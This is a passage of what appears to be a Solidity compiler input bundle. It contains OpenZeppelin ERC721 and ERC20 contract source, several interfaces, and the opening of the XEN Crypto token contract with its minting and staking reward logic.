Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 